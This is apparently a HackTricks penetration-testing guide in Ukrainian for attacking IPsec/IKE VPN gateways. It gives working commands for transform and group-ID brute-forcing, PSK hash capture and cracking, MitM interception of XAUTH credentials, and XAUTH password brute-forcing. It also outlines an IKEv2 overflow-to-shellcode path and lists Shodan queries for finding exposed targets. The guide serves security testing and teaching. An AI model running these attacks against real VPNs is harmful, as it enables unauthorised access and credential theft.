500/udp - Pentesting IPsec/IKE VPN
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
IPsec загально визнано основною технологією для захисту зв’язку між мережами (LAN-to-LAN) та від віддалених користувачів до шлюзу мережі (remote access), що слугує основою для корпоративних VPN-рішень.
Встановлення security association (SA) між двома точками керується IKE, який працює в межах ISAKMP, протоколу, призначеного для автентифікації та обміну ключами. Цей процес відбувається в кілька фаз:
- Фаза 1: Створюється захищений канал між двома кінцевими точками. Це досягається за допомогою Pre-Shared Key (PSK) або сертифікатів, використовуючи або main mode, який передбачає три пари повідомлень, або aggressive mode.
- Фаза 1.5: Хоча не обов’язкова, ця фаза, відома як Фаза розширеної автентифікації (Extended Authentication Phase), перевіряє особу користувача, що намагається підключитися, вимагаючи ім’я користувача та пароль.
- Фаза 2: Ця фаза присвячена узгодженню параметрів для захисту даних за допомогою ESP та AH. Вона дозволяє використовувати алгоритми, відмінні від тих, що застосовувалися у Фазі 1, для забезпечення Perfect Forward Secrecy (PFS), підвищуючи безпеку.
Порт за замовчуванням: 500/udp
Також часто відкрито: 4500/udp (NAT Traversal)
Виявлення служби за допомогою nmap
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
Знаходження дійсної трансформації
Конфігурація IPSec може бути підготовлена так, щоб приймати лише одну або кілька трансформацій. Трансформація — це комбінація значень. Кожна трансформація містить низку атрибутів, таких як DES або 3DES як алгоритм шифрування, SHA або MD5 як алгоритм цілісності, a pre-shared key як тип автентифікації, Diffie-Hellman 1 або 2 як алгоритм розподілу ключів і 28800 секунд як тривалість.
Отже, перше, що вам потрібно зробити — це знайти дійсну трансформацію, щоб сервер почав з вами спілкуватися. Для цього ви можете використати інструмент ike-scan. За замовчуванням ike-scan працює в main mode і надсилає пакет на шлюз з ISAKMP-заголовком та однією пропозицією, що містить вісім трансформацій.
Залежно від відповіді ви можете отримати деяку інформацію про кінцеву точку:
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
Як видно з попередньої відповіді, є поле з назвою AUTH зі значенням PSK. Це означає, що vpn налаштовано з використанням preshared key (і це дійсно добре для pentester’а).
Значення останнього рядка також дуже важливе:
- 0 returned handshake; 0 returned notify: Це означає, що target не є IPsec gateway.
- 1 returned handshake; 0 returned notify: Це означає, що target налаштовано для IPsec і готовий виконувати IKE negotiation, і один або більше з transforms, які ви запропонували, є прийнятними (валідний transform буде показано у виводі).
- 0 returned handshake; 1 returned notify: VPN gateways відповідають notify повідомленням коли жоден із transforms не є прийнятним (хоча деякі gateways цього не роблять, у такому випадку слід провести додатковий аналіз і спробувати переглянуту пропозицію).
Отже, в цьому випадку ми вже маємо валідну transformation, але якщо ви в 3-му випадку, тоді потрібно трохи brute-force щоб знайти валідну transformation:
По-перше, вам потрібно створити всі можливі transformations:
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
А потім brute-force кожен із них за допомогою ike-scan (це може зайняти кілька хвилин):
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
Якщо brute-force не спрацював, можливо, сервер відповідає без handshakes навіть на валідні transforms. Тоді ви могли б спробувати той самий brute-force, але використовуючи aggressive mode:
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
Сподіваюся, коректна трансформація повернеться.
Ви можете спробувати ту саму атаку за допомогою iker.py.
Ви також можете спробувати brute force трансформації за допомогою ikeforce:
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
.png)
У DH Group: 14 = 2048-bit MODP та 15 = 3072-bit
2 = HMAC-SHA = SHA1 (у цьому випадку). Формат --trans — $Enc,$Hash,$Auth,$DH
Cisco рекомендує уникати використання DH groups 1 та 2, оскільки вони недостатньо стійкі. Експерти вважають, що countries with a lot of resources can easily break the encryption даних, які використовують ці слабкі групи. Це роблять за допомогою спеціального методу підготовки, що прискорює злом. Хоча налаштування цього методу коштує багато грошей, воно дозволяє таким потужним країнам у реальному часі читати зашифровані дані, якщо використовується група з недостатньою довжиною (наприклад, 1,024-bit або менша).
Server fingerprinting
Потім можна використати ike-scan, щоб спробувати виявити виробника пристрою. Інструмент надсилає початкову пропозицію і припиняє повторні передачі. Далі він проаналізує різницю у часі між отриманими повідомленнями від сервера та відповідним шаблоном відповіді — пентестер може успішно fingerprint the VPN gateway vendor. Більше того, деякі VPN сервери використовують опціональний Vendor ID (VID) payload з IKE.
Specify the valid transformation if needed (using –trans)
Якщо IKE визначить, який це vendor, він виведе його:
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
Це також можна досягти за допомогою nmap скрипта ike-version
IKEv2-специфічне: WatchGuard Vendor ID version fingerprinting
Деякі демони IKEv2 включають нестандартні Vendor ID payloads у відповіді IKE_SA_INIT. WatchGuard Fireware OS кодує версію/збірку пристрою безпосередньо всередині VID, що дозволяє single-packet, pre-auth fingerprinting.
- Транспорт: UDP/500 (та UDP/4500 для NAT-T)
- Пакет: відповідь IKE_SA_INIT містить один або декілька Vendor ID payloads
- Формат WatchGuard: 32-байтний хеш, за яким йде base64, що декодується, наприклад, у
VN=12.11.3 BN=719894
Приклад сирих байтів із WatchGuard VID payload (останні 12 байт — base64):
00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807 ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243 Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d Tj03MTk4OTQ=
Швидке витягування в shell, коли у вас є base64 tail:
echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
# VN=12.11.3 BN=719894
Примітки
- Це не частина жодного IKEv2 RFC. Розглядайте це як особливість виробника для швидкого обстеження відкритих/уразливих версій Fireware OS.
- Вам потрібно лише викликати відповідь IKE_SA_INIT; автентифікація не вимагається.
Пошук правильного ID (назва групи)
Щоб мати змогу перехопити хеш, вам потрібна дійсна трансформація, що підтримує Aggressive mode, та правильний ID (назва групи). Ймовірно, ви не будете знати дійсну назву групи, тому доведеться її перебрати.\ Для цього рекомендую два методи:
Bruteforcing ID with ike-scan
Перш за все спробуйте зробити запит з підробленим ID, намагаючись зібрати хеш (“-P”):
ike-scan -P -M -A -n fakeID <IP>
Якщо no hash is returned, то, ймовірно, цей метод brute forcing спрацює. Якщо повертається який-небудь hash, це означає, що підробний hash буде відправлено у відповідь для підробного ID, отже цей метод не буде надійним для brute-force ID. Наприклад, може бути повернуто підробний hash (це трапляється в сучасних версіях):
.png)
Але якщо, як я сказав, no hash is returned, то слід спробувати brute-force поширені назви груп за допомогою ike-scan.
Цей скрипт спробує brute-force можливі IDs і поверне ті ID, для яких буде отримано валідний handshake (це буде дійсна назва групи).
Якщо ви виявили конкретну трансформацію, додайте її в команду ike-scan. Якщо ви виявили кілька трансформацій, можете додати новий цикл, щоб спробувати їх усі (варто спробувати їх усі, поки одна з них не запрацює належним чином).
Ви можете використовувати dictionary of ikeforce або the one in seclists of common group names to brute-force them:
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
Або використайте цей словник (це комбінація двох інших словників без повторень):
Bruteforcing ID with Iker
iker.py також використовує ike-scan для bruteforce можливих імен груп. Він використовує власний метод, щоб знайти валідний ID на основі виводу ike-scan.
Bruteforcing ID with ikeforce
ikeforce.py — інструмент, який можна також використовувати для brute force IDs also. Цей інструмент буде try to exploit different vulnerabilities, які можна використати, щоб distinguish between a valid and a non-valid ID (можуть бути false positives і false negatives, саме тому я за можливості віддаю перевагу методу ike-scan).
За замовчуванням ikeforce спочатку відправляє деякі випадкові ids, щоб перевірити поведінку сервера і визначити тактику для використання.
- перший метод — це brute-force імен груп шляхом пошуку інформації Dead Peer Detection DPD у систем Cisco (ця інформація повертається сервером тільки якщо ім’я групи правильне).
- другий метод доступний — це перевірка кількості відповідей, відправлених на кожну спробу, оскільки іноді відправляється більше пакетів, коли використовується правильний id.
- третій метод полягає в пошуку “INVALID-ID-INFORMATION” у відповіді на некоректний ID.
- Нарешті, якщо сервер нічого не відповідає на перевірки, ikeforce намагатиметься brute force сервера і перевірить, чи коли надсилається правильний id, сервер відповідає якимось пакетом.\ Obviously, мета brute forcing id — отримати PSK, коли у вас є валідний id. Потім, маючи id та PSK, вам доведеться bruteforce XAUTH (якщо він увімкнений).
Якщо ви виявили конкретну трансформацію, додайте її в команду ikeforce. І якщо ви виявили кілька трансформацій, не соромтеся додати новий цикл для їх перевірки (варто спробувати всі, поки одна з них не запрацює належним чином).
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
Sniffing ID
(From the book Network Security Assessment: Know Your Network): Також можливо отримати дійсні імена користувачів шляхом sniffing з’єднання між VPN клієнтом і сервером, оскільки перший пакет aggressive mode, що містить client ID, відправляється у відкритому вигляді
.png)
Aggressive Mode identity leakage
Aggressive Mode має надіслати ID на ранньому етапі, щоб шлюз міг вибрати правильний PSK, коли існують multiple groups/users. Це означає, що identity is exposed pre-auth, на відміну від Main Mode, де вона шифрується в пізніших пакетах. Ви можете витягти її швидко:
ike-scan -A <IP>
# Look for: ID(Type=ID_USER_FQDN, Value=ike@corp.tld)
Якщо увімкнено Aggressive Mode, перехопіть crackable PSK handshake і зламайте його офлайн (hashcat mode 5400):
ike-scan -A --pskcrack=handshake.txt <IP>
hashcat -m 5400 handshake.txt /path/to/wordlist.txt
Відновлені PSKs часто повторно використовуються як облікові дані для інших сервісів (SSH, VPN client auth), тому перевіряйте їх проти відкритих сервісів.
Capturing & cracking the hash
Нарешті, якщо ви знайшли valid transformation і group name, і якщо aggressive mode дозволено, то ви дуже легко можете отримати crackable hash:
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
Hash буде збережено в hash.txt.
Ви можете використовувати psk-crack, john (за допомогою ikescan2john.py) та hashcat щоб crack hash:
psk-crack -d <Wordlist_path> psk.txt
XAuth
Aggressive mode IKE у поєднанні з Pre-Shared Key (PSK) зазвичай застосовується для групової автентифікації. До цього методу додається XAuth (Extended Authentication), який забезпечує додатковий рівень автентифікації користувача. Зазвичай така автентифікація використовує служби, такі як Microsoft Active Directory, RADIUS або подібні системи.
При переході на IKEv2 відбувається помітна зміна: замість XAuth для автентифікації користувачів використовується EAP (Extensible Authentication Protocol). Ця зміна підкреслює еволюцію практик аутентифікації в протоколах захищеного зв’язку.
Локальний MitM у мережі для перехоплення облікових даних
Отже, ви можете перехопити дані входу за допомогою fiked і перевірити, чи існує стандартне ім’я користувача (потрібно перенаправити IKE-трафік на fiked для сніфінгу; це можна зробити за допомогою ARP spoofing, more info). Fiked виступатиме як VPN-кінець і перехопить XAuth облікові дані:
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
Також, використовуючи IPSec, спробуйте здійснити MitM-атаку та заблокувати весь трафік до порту 500; якщо IPSec-тунель не може бути встановлений, можливо трафік буде відправлено у відкритому вигляді.
Brute-forcing XAUTH username ad password with ikeforce
Щоб перебрати XAUTH (коли ви знаєте дійсну назву групи id та psk), ви можете використовувати одне ім’я користувача або список імен користувачів та список паролів:
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
Таким чином ikeforce намагатиметься підключитись, використовуючи кожну комбінацію username:password.
Якщо ви знайшли один або кілька дійсних трансформів, просто використайте їх так само, як у попередніх кроках.
Аутентифікація з IPSEC VPN
У Kali для встановлення IPsec тунелів використовується VPNC. Профілі мають знаходитись у каталозі /etc/vpnc/. Ви можете запускати ці профілі за допомогою команди vpnc.
Наступні команди та конфігурації ілюструють процес налаштування VPN-з’єднання за допомогою VPNC:
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
У цій конфігурації:
- Замініть
[VPN_GATEWAY_IP]на фактичну IP-адресу VPN-шлюзу. - Замініть
[VPN_CONNECTION_ID]на ідентифікатор VPN-з’єднання. - Замініть
[VPN_GROUP_SECRET]на group secret VPN. - Замініть
[VPN_USERNAME]та[VPN_PASSWORD]на облікові дані для аутентифікації VPN. [PID]символізує ідентифікатор процесу, який буде присвоєний при запускуvpnc.
Переконайтеся, що під час налаштування VPN ви використовуєте реальні, безпечні значення замість заповнювачів.
IKEv2 — нотатки з експлуатації: помилки обробки pre-auth IDi/CERT
Сучасні VPN-пристрої часто виставляють IKEv2 на UDP/500 (та UDP/4500 для NAT-T). Загальна поверхня атаки до аутентифікації — парсинг Identification (IDi) та Certificate payloads під час IKE_SA_AUTH.
Схема експлуатації високого рівня, якщо існує вразливий парсер IKEv2:
- Надішліть дійсний IKE_SA_INIT для погодження transforms та завершення Diffie–Hellman.
- Далі надішліть IKE_SA_AUTH з IDi, що викликає баг (наприклад, занадто великий Identification, скопійований у стековий буфер фіксованого розміру перед certificate validation).
- Внаслідок memory corruption можна отримати контроль над saved-register та return-address.
- Якщо NX ввімкнено, але інші mitigations відсутні (немає PIE/canaries), побудуйте ROP chain щоб викликати mprotect на сторінці стеку і потім переключити виконання на інжектований shellcode або на resident interpreter (наприклад, /usr/bin/python3), якщо /bin/sh недоступний.
Приклад стандартних transforms, виявлених на деяких IKEv2-пристроях (WatchGuard Fireware OS 12.11.3):
- SHA2-256–AES(256-bit) with DH Group 14
- SHA1–AES(256-bit) with DH Group 5
- SHA1–AES(256-bit) with DH Group 2
- SHA1–3DES with DH Group 2
Практичні поради
- Орієнтуйтесь на обидва порти UDP/500 та UDP/4500; сервери NAT-T можуть відповідати лише на 4500.
- Збільшіть receive buffer та таймаути для UDP-based scanners, щоб уникнути packet loss.
- Якщо сервіс повертає custom Vendor IDs (див. вище), використовуйте їх для швидкого fingerprinting вразливих версій перед спробою exploit traffic.
Довідкові матеріали
- PSK cracking paper
- SecurityFocus Infocus
- Scanning a VPN Implementation
- Network Security Assessment 3rd Edition
Shodan
port:500 IKEport:4500 "UDP"udp port:500,4500 "WatchGuard"
Посилання
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


